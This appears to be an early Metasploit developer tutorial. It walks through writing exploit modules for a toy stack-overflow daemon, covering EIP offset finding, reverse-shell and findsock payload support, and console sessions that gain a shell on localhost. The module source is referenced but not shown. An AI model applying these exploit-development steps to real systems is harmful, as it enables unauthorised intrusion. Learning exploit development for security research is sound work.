This is not an exploit tutorial.  This is just a simple walkthrough on
writing exploits as modules for the metasploit framework.

This document is tutorial style because we feel that example is the best way to
learn how to write for Metasploit.  These examples are really just a small
look and what goes on and what is possible.  The best way to learn more
advanced capabilities is to read our module code, framework code, and email us
with questions (in that order ;)).  For example, if you are writing a brute
force linux exploit, go through our exploits and find something similar.  Not
only will you be able to see how we did it, but you can also match our standard
option names, techniques, etc.

Let's start with a simple example of a network based buffer overflow.  This is
a simple daemon that will just listen for one connection, read it in, and exit.

[ source code in vuln1.c ]

You can see we have a buffer overflow when sending more than 64 characters
of data.  The strategy (since its a single shot), is to send a large nopsled,
and to return directly into the stack.  We'll start a new Metasploit exploit
module, fill in the info information, and use some dev routines to find the
offset to EIP.

[ source code in vuln1_1.pm ]

There are many comments inline in the exploit module.  For our inital probing,
we write a simple exploit without target or payload support.  We just want
to gather some inital information about the bug, and use this to write our
exploit.  We populate some metadata about the exploit, like the name, authors,
supported architectures/operating systems, etc.  We create out Exploit method,
the code that will be called by the framework when the user chooses to execute
your exploit modules.

msf > use vuln1_1 
msf vuln1_1 > show options 

Exploit Options
===============

  Exploit:    Name      Default    Description
  --------    ------    -------    ------------------    
  required    RHOST                The target address
  required    RPORT     11221      The target port
  
  Target: Targetless Exploit

msf vuln1_1 > set RHOST 127.0.0.1
RHOST -> 127.0.0.1
msf vuln1_1 > exploit

.... In another window ....
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
(gdb) 

# perl sdk/patternOffset.pl 0x63413563
76

We use the patternOffset.pl program to find the likely offset of EIP (76). We
also used gdb to pull the value of esp (0xbffffa30) on our system.

[ source code in vuln1_2.pm ]

We know got enough information about the bug to actually start writing an
Exploit.  We add a Target (just one for my system), and also require the
Framework to supply use with a payload.

We can us this information and actually write a functional exploit (for our
system).  We add a Payload entry, telling that Framework to require the
user to supply a payload, and allowing us to pull out this payload from the
EncodedPayload entry the Framework setups up in the environment.
EncodedPayload is an object, and we simple call to the Payload method.

We setup some Advanced options for some of the details of our exploit vector.
This is handy mostly for development, or other researcher thinkering with your
exploits.  These aren't options that a general user will usually change, but
I've found that adding options like these is be very useful.

It is important to note that you call GetLocal for Advanced Options!  The
general rule of thumb is to call GetLocal for Advanced Options, and GetVar for
everything else.  One main difference between that two is that GetLocal will
not look in the Global Environment (not entirely true, but enough so).

We finish the module, and it works!

msf vuln1_2(linx86_reverse) > show options 

Exploit and Payload Options
===========================

  Exploit:    Name      Default      Description
  --------    ------    ---------    ------------------    
  required    RHOST     127.0.0.1    The target address
  required    RPORT     11221        The target port
  
  Payload:    Name      Default      Description
  --------    ------    ---------    -----------------------------------    
  required    LHOST     127.0.0.1    Local address to receive connection
  required    LPORT     12322        Local port to receive connection
  
  Target: Slackware Linux

msf vuln1_2(linx86_reverse) > set
LHOST: 127.0.0.1
LPORT: 12322
PAYLOAD: linx86_reverse
RHOST: 127.0.0.1
TARGET: 0
msf vuln1_2(linx86_reverse) > exploit
[*] Starting Reverse Handler.
[*] Got connection from 127.0.0.1:32896

id
uid=1000(spoonm) gid=1000(spoonm) groups=1000(spoonm)


[ source code in vuln1_3.pm ]

This exploitable program will have the socket open when we gain execution
control.  This allows us to support findsock payloads, allowing reuse of the
inital connection we made to the service.

We inform the Framework that we support payloads tagged with the findsock
keyword, adding it to our list of supported payload keys (with the +findsock).
Along with supporting findsock, we also must pull the CPORT option out of the
environment.  CPORT is used by srcport style findsock payloads, enabling the
exploit and payloads to both have knowledge of the srcport the connection will
be made from (used to identify the socket in the shellcode).  The CPORT option
is added into UserOpts by the Payload, and is only neccessarily from the users
end when using a srcport style findsock payload.  From the exploit perspective
you must be aware that this option may be set, and pass it along to the socket
creation method, creating the socket with the specified srcport (if supplied).
If a user isn't using a srcport style findsock payload, CPORT will be undefined
and the socket will get created with a random source port.  Keeping srcport in
mind is very important, sometimes it is required to sleep a little between
brute force attemps to allow the old socket to get cleaned up so you can reuse
the src port.  It is also important to realize that you can not have multiple
concurrent connections with the same srcport, so CPORT should only be passed
on the connection likely to have the shell (if say, you had an exploit that
required more than one connection to be made).

We add some general nice features to the exploit, printing information about
what target it is trying, informing the user that things are working.

Below is a demonstration of working findsock (recv tag style, not CPORT).

msf vuln1_3(linx86_findrecv) > show options 

Exploit and Payload Options
===========================

  Exploit:    Name      Default      Description
  --------    ------    ---------    ------------------    
  required    RHOST     127.0.0.1    The target address
  required    RPORT     11221        The target port
  
  Payload:    Name      Default    Description
  --------    ------    -------    -----------    
  
  Target: Slackware Linux

msf vuln1_3(linx86_findrecv) > set
PAYLOAD: linx86_findrecv
RHOST: 127.0.0.1
TARGET: 0
msf vuln1_3(linx86_findrecv) > exploit
Trying Slackware Linux - 0xbffffa60
[*] Findsock found shell...

id
uid=1000(spoonm) gid=1000(spoonm) groups=1000(spoonm)


Instead of writing a more complicated demonstration vulnerable program (like
one that does a fork), I documented the svnserve_date module.  This module
exploits the subversion svnserve daemon, and demonstrates a bruteforce exploit
with box linux and freebsd targets, and findsock support.

[ source code in svnserve_date.pm ]

This document should be enough to get your feet off the ground and familiar
with the development side of the Metasploit Framework.  The requirements for
exploits very greatly and often require specific features and support from the
Framework.  We've written a lot of different modules that take advantage of
different pieces of the framework, and suggest reading these to become a more
advanced module developer.

Thank you for not smoking, and enjoy your day.
